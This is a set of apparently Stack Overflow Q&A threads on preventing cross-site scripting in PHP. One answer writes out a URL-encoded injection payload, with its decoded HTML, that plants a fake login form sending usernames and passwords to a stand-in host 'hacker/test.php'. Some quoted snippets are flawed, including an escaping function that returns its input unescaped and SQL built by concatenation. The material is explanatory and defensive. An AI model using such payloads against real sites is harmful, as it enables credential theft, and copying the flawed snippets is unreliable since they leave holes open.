This question already has answers here:
How to prevent XSS with HTML/PHP?
(9 answers)
Closed 5 months ago.
I have this php code and my CMS security auto-test says it's a XSS attack. Why and How can I fix this?
$url = "news.php";
if (isset($_GET['id']))
$url .= "?id=".$_GET["id"];
echo "<a href='{$url}'>News</a>";
It's XSS (cross site scripting) as someone could call your thing like this:
?id='></a><script type='text/javascript'>alert('xss');</script><a href='
Essentially turning your code into
<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>
Now whenever someone would visit this site, it'd load and run the javascript alert('xss'); which might as well be a redirector or a cookie stealer.
As many others have mentioned, you can fix this by using filter_var or intval (if it's a number). If you want to be more advanced, you could also use regex to match your string.
Imagine you accept a-z A-Z and 0-9. This would work:
if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) {
//whatever
}
filter_input even has a manual entry doing exactly what you want (sanitizing your input into a link):
<?php
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>
Yeah .. a simple attach
site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27
^
|
Start XSS Injection
This would output
<a href='news.php?id='></a>
<br>
<br>
Please login with the form below before proceeding:
<form action="http://hacker/test.php">
<table>
<tr>
<td>Login:</td>
<td><input type=text length=20 name=login></td>
</tr>
<tr>
<td>Password:</td>
<td><input type=text length=20 name=password></td>
</tr>
</table>
<input type=submit value=LOGIN>
</form>
<a href=''>News</a>
Asking your client there username and password to continue and sending the information to http://hacker/test.php and they are then re directly back normally as if nothing happened
To fix this try
$_GET["id"] = intval($_GET["id"]);
Or
$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);
You'll need to urlencode:
$url .= "?id=" . urlencode($_GET["id"]);
As a global rule you have to filter the contents of GET and POST. Use filter_var before using the contents of $_GET['id'].
$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT);
// or at least
$id = (int) $_GET['id'];
Never use directly $_GET or $_POST!!!
You must escape it some way..
For example ..
$url = "news.php";
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){
$url .= "?id={$id}";
}
echo "<a href='{$url}'>News</a>";
Related
I've got a search function written in PHP/MySQL which works fine. What I want to happen is that when a user produces a search they can click a button which will submit the $id from the output to a table in my database.
I've copied my code below, the error is within the php echo in the form, it just displays the plain text of the php code.
Everything else works fine, I've tested this by setting value to "" and entering the id myself and then it works. I want it though to be a hidden input in future where the id automatically comes through from the search result. Multiple searches can be returned on the same page and this form is underneath each individual search result.
<?php
$conn = mysqli_connect("localhost","root","","users");
$output = '';
if(isset($_POST['search'])) {
$search = $_POST['search'];
$search = preg_replace("#[^0-9a-z]i#","", $search);
$query = mysqli_query($conn, "SELECT * FROM users WHERE main LIKE '%".$search."%'") or die ("Could not search");
$count = mysqli_num_rows($query);
if($count == 0){
$output = "There was no search results!";
}else{
while ($row = mysqli_fetch_array($query)) {
$id = $row ['id'];
$main = $row ['main'];
$postcode = $row ['postcode'];
$available = $row ['available'];
$email = $row ['email'];
$output .='<div><br><b>Player ID: </b>'.$id.'<br><b>Main:
</b>'.$main.'<br><b>Postcode: </b>'.$postcode.'<br><b>Available:
</b>'.$available.'<br>
<br>
<form action="request_player.php" action="post">
<input type="text" name="id" value="<?php echo $id ?>">
<input type="submit" value="Request Player">
</form>
</div>';
}
}
}
echo $output;
?>
<br> Back to your account
The issue Jay Blanchard highlighted and which you took a bit lightly - perhaps b/c you fear the distraction from your current problem - is actually pretty related to the issue you highlight in your question.
This btw. is nothing uncommon. In this little script you deal with at three languages: HTML, SQL and PHP. And all these are intermixed. It can happen that things jumble.
There are methods to prevent these little mistakes. What Jay highlighted was about how to encode a SQL query correctly.
The other problem is to encode a HTML string correctly. Let me highlight the part:
$output = '... <input type="text" name="id" value="<?php echo $id ?>"> ...';
In this PHP string you write "<?php echo $id ?>" verbatim, that means, this will echo'ed out then.
What you most likely meant was to write it this way:
$output = '... <input type="text" name="id" value="' . $id . '"> ...';
So this seems easy to fix. However, it's important that whether it is SQL or HTML, you need to properly encode the values if you want to use them as SQL or HTML. In the HTML case, you must ensure that the ID is properly encoded as a HTML attribute value. In PHP there is a handy function for that:
$output = '... <input type="text" name="id" value="' . htmlspecialchars($id) . '"> ...';
Or as the ID is numeric:
$output = '... <input type="text" name="id" value="' . intval($id) . '"> ...';
works similarly well.
You need to treat all user-data, that is all input - which includes what you get back from the database (!) - needs to be treated when you pass it into a different language, be it HTML, SQL or Javascript.
For the SQL Jay has linked you a good resource, for the HTML I don't have a good one at hand but it requires your own thoughtfulness and the will to learn about what you do (write) there. So sharpen your senses and imagine for each operation what happens there and how this all belongs together.
One way to keep things more apart and therefore help to concentrate on the job is to first collect all the data you want to output and then process these variables in a template for the output. That would prevent you to create large strings only to echo them later. PHP echoes automatically and a benefit of PHP is that you can use it easily for templating.
Another way is to first process the form input - again into your own variable structure - which is the programs input part and run first. Then follows the processing of the input data, in your case running and processing the database query. And after that you care about the presentation. That way you have common steps you can become more fluent in.
I hope this is understandable. It's full of further obstacles, but it pays to divide and conquer these programming problems. It will also help you to write more while you need to write less for that.
And btw., you don't need to switch to PDO, you can stick with Mysqli.
The reason it is happening is because you have put <?php echo $id ?> inside a string. You want to do the same thing you did elsewhere in your example: value="' . $id . '" It can quickly get confusing when you have single and double quotes happening together. You might be best off learning how to use PHPs multiline strings.
Also, <?= $id ?> is a useful shorthand for <?php echo $id ?> (although you don't want to use either here)
This question already has an answer here:
Should I use both striptags() and htmlspecialchars() to prevent XSS?
(1 answer)
Closed 7 years ago.
I´ve a doubt about SECURITY linked to POST data in PHP.
The context:
I´ve several input (text, email, radio) and some textarea.
EG
<input type="text" name="entries[]"> /* Input ARRAY */
<input type="text" name="username">
<textarea name="message[]">...</textarea> /* Textarea ARRAY */
What I´m doing is sending all the values to the *.php page and then, I print all of them
EG
if($_POST)
{
$entries = htmlspecialchars("$_POST['entries']", ENT_QUOTES);
$username = htmlspecialchars("$_POST['username']", ENT_QUOTES);
$message = htmlspecialchars("$_POST['message']", ENT_QUOTES);
echo $username;
echo...
echo...
}
I do not know too much about security. Is it ok JUST with htmlspecialchars...?
Or Have I to use other functions?
The data is JUST to print with echo on the *.php page (no MYSQL)
And yes, my doubt is about the cide that the user can put on each INPUT, because I don´t want to limitate their contents just to text or numbers, or similar.
Thanks.
You need to loop over the arrays.
$entries = array_map('htmlentities', $_POST['entries']);
$username = htmlentities($_POST['username']);
$message = array_map('htmlentities', $_POST['message']);
or to include ENT_QUOTES you can use:
$entries = array_map(function($x) {
return htmlentities($x, ENT_QUOTES);
}, $_POST['entries']);
and similarly for $message.
This question already has answers here:
How to prevent XSS with HTML/PHP?
(9 answers)
Closed 9 years ago.
<?php
echo $_GET['id'];
?>
Doesn't look very safe to me.. What is our best option to show an GET element?
Something like a preg_replace on all the special characters, or htmlspecialchars?
Depends on what you are doing to do with $_GET['id'];
If you are looking to insert it into database , Just make use of Prepared Statements. [That suffices]
If you just want to display it on your HTML page, make use of this code.
<?php
echo htmlentities($_GET['id']);
?>
<?php
echo htmlspecialchars($_GET['id']);
?>
htmlspecialchars() if it is a string, or cast to the appropriate type if it is numeric (intval(), or (int) etc.), for example:
$id = (int)$_GET['id'];
//or
echo (int)$_GET['id'];
If it's id, I think it should be numeric - then echo intval($_GET['id']);
This should be enough:
htmlspecialchars($_GET['id'], ENT_QUOTES, "UTF-8");
So im trying to work out the best way to sanitize xss for safe output to the user.
More or less, when storing values from a form, im using strip_tags(); then bind_params();
And when Im about to output the data to the user Im also using htmlentities();
The data will only be shown inside <p> and <a> tags.
eg:
<p> Some data from user </p>
<a href=""> Some data from user </p>
Should this work?
Index.php
<form action="sante.php" method="post">
Name: <input type="text" name="fname">
Age: <input type="text" name="age">
<input type="submit">
</form>
And then sante.php
<?php
$name = $_POST["fname"];
$age = $_POST["age"];
$namn = strip_tags($name); // then storing into mysql with bind_param
$older = strip_tags($age); // then storing into mysql with bind_param
// before output, htmlentities
function safe( $value ) {
htmlentities( $value, ENT_QUOTES, 'utf-8' );
return $value;
}
// Now showing values
echo safe($namn). "<br>";
echo "<p>" .safe($older) . "</p>";
?>
Yes, you can use this code safely. I see you're already using bind_param (and I assume either the mysqli or PDO library), which prevents SQL injection (damage to you), and htmlentities, which prevents cross-site scripting (damage to the user).
You don't even need to call strip_tags before writing to the database, although it's a fine idea if you don't want user input to contain any JS/PHP/HTML tags at all (and also if you forget to call your safe function on output).
When you insert data to database you must use mysql_real_escape_string or use PDO,
if you display data you must use htmlspecialchars
I'm trying to make a "remember fields" thingy, so if there is one error you won't have to fill in the whole form again. But how can I make the output safe?
Example:
<input type="text" name="email" value="<?php echo (isset($_POST['email'])) ? htmlspecialchars($_POST['email']) : ''; ?>" />
If someone types in " ' " (without the quotes) for example you get:
Warning: mysql_result() expects parameter 1 to be resource, boolean given in C:\wamp\www\pages\register.php on line 55
So then I tried:
<input type="text" name="email" value="<?php echo (isset($_POST['email'])) ? mysql_real_escape_string($_POST['email']) : ''; ?>" />
Then it just adds a lot of //////.
What should I do?
I'm a noob yes. But I thought htmlspecialchars made user input safe?
It depends on context.
htmlspecialchars() is your friend in HTML.
mysql_real_escape_string() is your friend in MySQL.
Update
You could run all your $_POST through htmlspecialchars() first with this...
$encodedHtmlPost = array_map('htmlspecialchars', $_POST);
You have to use mysql_real_escape_string() before you put data in database, not for the output! It will prevent SQL injections. Use htmlspecialchars when outputting data to user, it prevents XSS attacks.
When inserting in database:
$data = mysql_real_escape_string($data);
mysql_query("INSERT INTO table1(data) VALUES('$data')"); //Safe insertion
When outputting to user:
echo htmlspecialchars($data);
As for html escaping, you should use a wrapper function because htmlspecialchars needs some parameters to produce reliably safe output:
htmlspecialchars($text, ENT_QUOTES, "UTF-8");